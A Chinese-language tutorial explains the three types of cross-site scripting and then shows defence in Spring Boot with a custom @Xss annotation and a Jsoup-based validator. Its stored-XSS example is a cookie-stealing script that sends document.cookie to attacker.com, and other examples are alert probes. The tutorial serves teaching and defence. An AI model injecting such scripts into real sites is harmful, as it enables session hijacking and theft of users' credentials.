XSS 漏洞

XSS攻击，全称为跨站脚本攻击（Cross-Site Scripting），是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足，允许攻击者将恶意脚本注入到其他用户浏览的网页中。

1.1 XSS攻击的定义

XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本，当其他用户浏览该页面时，这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的，因此它可以访问该用户的所有会话信息和权限，从而可能导致信息泄露、会话劫持、恶意操作等安全风险。

1.2 XSS攻击的类型

XSS攻击主要分为以下三种类型：

• 存储型XSS（Persistent XSS）： 恶意脚本被永久存储在目标服务器上，如数据库、消息论坛、访客留言等，当用户访问相应的网页时，恶意脚本就会执行。
• 反射型XSS（Reflected XSS）： 恶意脚本并不存储在目标服务器上，而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。
• 基于DOM的XSS（DOM-based XSS）： 这种类型的XSS攻击完全发生在客户端，不需要服务器的参与。它通过恶意脚本修改页面的DOM结构，实现攻击。

1.3 XSS攻击的攻击原理及示例

XSS攻击的基本原理是利用Web应用程序对用户输入的信任，将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时，脚本会在他们的浏览器中执行。

示例:

• 存储型XSS攻击:

攻击者在一个博客评论系统中提交以下评论:

<script>
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。

• 反射型XSS攻击:

攻击者构造一个恶意URL:

http://example.com/search?q=<script>alert('XSS')</script>

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。

• DOM型XSS攻击:

假设网页中有以下JavaScript代码:

var name = document.location.hash.substr(1);
document.write("欢迎, " + name);

攻击者可以构造如下URL:

http://example.com/page.html#<script>alert('XSS')</script>

当用户访问此URL时,恶意脚本会被执行。

Spring Boot中的XSS防御手段

在Spring Boot中，我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段：使用注解和使用过滤器。

2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段，它可以在方法或字段级别对输入进行校验，从而防止XSS攻击。

2.1.1 引入相关依赖

<!--JSR-303/JSR-380用于验证的注解 -->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
    <version>3.2.0</version>
</dependency>

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解，用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义：

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
    String message() default "非法输入, 检测到潜在的XSS";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

2.1.3 实现自定义注解处理器

接下来，我们需要实现XSSValidator类，该类将负责检查输入是否包含潜在的XSS攻击脚本：

public class XssValidator implements ConstraintValidator<Xss, String> {
    /**
     * 使用自带的 basicWithImages 白名单
     */
    private static final Safelist WHITE_LIST = Safelist.relaxed();
    /**
     * 定义输出设置，关闭prettyPrint（prettyPrint=false），目的是避免在清理过程中对代码进行格式化
     * 从而保持输入和输出内容的一致性。
     */
    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);

    /**
     * 验证输入值是否有效，即是否包含潜在的XSS攻击脚本。
     * 
     * @param value 输入值，需要进行XSS攻击脚本清理。
     * @param context 上下文对象，提供关于验证环境的信息，如验证失败时的错误消息定制。
     * @return 如果清理后的值与原始值相同，则返回true，表示输入值有效；否则返回false，表示输入值无效。
     */
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        // 使用Jsoup库对输入值进行清理，以移除潜在的XSS攻击脚本。
        // 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。
        String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
        
        // 比较清理后的值与原始值是否相同，用于判断输入值是否有效。
        return cleanedValue.equals(value);
    }

}

2.1.4 使用注解

在要进行XSS防御的属性上添加注解：

@Data
@Tag(name = "用户",description = "用户登录类")
public class UserLoginDTO {

    @Xss
    @NotBlank(message = "账号不能为空")
    @Schema(name = "用户账号",type = "String")
    private String userAccount;

    @Xss
    @Size(min = 6, max = 18, message = "用户密码长度需在6-18位")
    @Schema(name = "用户密码",type = "String")
    private String password;

    @Xss
    @NotBlank(message = "邮箱验证码内容不能为空")
    @Schema(name = "邮箱验证码",type = "String")
    private String emailCaptcha;
}

在Controller中的接口添加@Validated注解：

@PostMapping("/test2")
public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {
    return Result.success();
}